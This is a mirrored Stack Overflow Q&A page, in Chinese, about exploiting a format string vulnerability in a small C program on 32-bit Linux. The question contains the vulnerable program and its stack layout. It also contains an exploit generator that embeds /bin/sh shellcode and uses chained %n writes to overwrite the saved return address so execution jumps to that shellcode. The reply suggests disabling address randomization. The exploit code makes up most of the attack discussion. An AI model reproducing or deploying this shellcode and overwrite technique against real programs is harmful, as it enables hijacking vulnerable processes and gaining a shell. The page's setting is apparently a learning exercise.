gpt4 book ai didi

linux - 格式字符串错误 - 利用

转载 作者:太空狗 更新时间:2023-10-29 12:07:30 28 4
gpt4 key购买 nike

我正在尝试利用我的格式字符串错误,它存在于这个程序中:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);

/* just print the tmp buffer */
printf("%s", tmp);
}

int main(int argc, char** argv) {
char tmp[512];
char format[512];

while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);

/* read at most 512 bytes into format */
read(0, format, 512);

/* compare two strings */
if (!strncmp(format, "exit", 4))
break;

foo(tmp, format);
}
return 0;
}

堆栈看起来像这样:

Low Memory Addresses

before printf before sprintf
function function

-----------------------
| 0xbffff258 | -
----------------------- ----------------------- |--- arguments to printf/sprintf
| 0xbffff258 | | 0xbffff058 | -
----------------------- -----------------------
| 0xbffff458 | (saved EBP)
-----------------------
| 0x08048528 | (return address to main - EIP)
-----------------------
| 0xbffff258 | (pointer to tmp)
-----------------------
| 0xbffff058 | (pointer to format)
-----------------------
| 0x00000004 | (constant 4)
-----------------------
| format[0] | (starts at 0xbffff058)
-----------------------
| format[511] |
-----------------------
| tmp[0] | (starts at 0xbffff258)
-----------------------
| tmp[511] |
-----------------------
High Memory Addresses

所以基本的想法是写一个 %x, %n, ... 的序列并将它提供给程序。我用来构建输入字符串的程序是:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];

memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);

memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);

printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}

我们可以看到我已经用以下十六进制数覆盖了地址:0xbffff048、0xbffff049、0xbffff04a、0xbffff04b:0x68、0xf0、0xff、0x1bf,这为我们提供了地址:0xbffff068(这是 shellcode 的地址在内存中)。所以这个想法是用这个地址覆盖 0x08048528 (EIP),所以当函数返回时它会跳转到那个地址。

我已经完成了所有这些,并通过调试器检查一切正常。但是我仍然从/lib/libc.so.6 得到 vfprintf () 中的段错误。

有没有人知道发生了什么事。我搞砸了吗?

谢谢

最佳答案

完全重写

  1. 好的,所以你的堆栈是可执行的。好。
  2. 您应该尝试禁用堆栈地址随机化。
  3. 这似乎是 x86,但应该将此类信息添加到问题中。

关于linux - 格式字符串错误 - 利用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/5052648/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com